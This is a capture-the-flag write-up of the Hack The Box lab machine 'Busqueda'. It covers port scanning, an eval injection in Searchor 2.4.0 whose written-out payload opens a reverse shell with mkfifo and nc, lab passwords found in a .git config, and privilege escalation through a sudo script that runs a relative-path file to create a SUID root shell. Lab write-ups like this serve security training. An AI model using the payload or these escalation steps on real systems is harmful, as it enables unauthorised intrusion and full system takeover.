[HTB | Easy] Busqueda

Port Scanning
We start with a simple nmap scan:
We can see that we have 2 open ports:
Port 22: simple ssh
Port 80 Apache web server (thats redirect us to searcher.htb)
Web Scanning
Website Enumeration

There is nothing suspicious on the site but "Powered by Flask and Searchor 2.4.0"
Bad Code and Rev Shell
After searching a bit I found these links about a vulnerability on that Open Source project: https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303 https://github.com/ArjunSharda/Searchor/pull/130
The vulnerablility is the bad trusting of user input due the use of the eval function in the search function. We can exploit this pretty straightforward by evading the quotes and injecting our payload (a'), __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <IP> <PORT> >/tmp/f') #) and get a reverse shell (remember to url encode the payload):

Privesc2Root
After a bit enumeration we have found multiple shenanigans running: Vhosts found:
Strange open ports:
Unexpected in /opt
We dug a lot and thats the way!
Credentials for Further Access
In the web app directory there is a .git folder with a config file with some credentials (/var/www/app/.git/config):
Nice, these are credentials for both gitea and for our user svc as its the only one on the box cody:jh1usoih2bkjaspwe92.
Trying sudo -l on the user we get that we can execute a file with sudo privilege:
This script let us use 3 commands:
The first two are docker commands and the last one is a custom script. with docker-inspect we can export data like ENV from the instances viewed with docker-ps: sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' mysql_db | jq
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
After a few tries we found out a winning combo on the gitea vhost: administrator:yuiu1hoiu4i5ho1uh
There was just only a repository called scripts (the one which we can run as root):

Root
The problem in this script consist in the system-checkup.py file where in the function showed below run ./full-checkup.sh, if we go on another directory (like /tmp) and we create a file also called full-checkup.sh the script will run the full-checkup.sh on the directory you are on that moment:
full-checkup.sh POC
and we run: sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup We can observe that we created a copy of /bin/bash as /tmp/rootbash with the root suid.
We've done it! Now we just need to /tmp/rootbash -p to get root privilege! uid=0(root) gid=0(root) groups=0(root)
That's was a really cool box and thanks for the reading.
Hope to see you soon!
Pedio Zaki
Last updated
Was this helpful?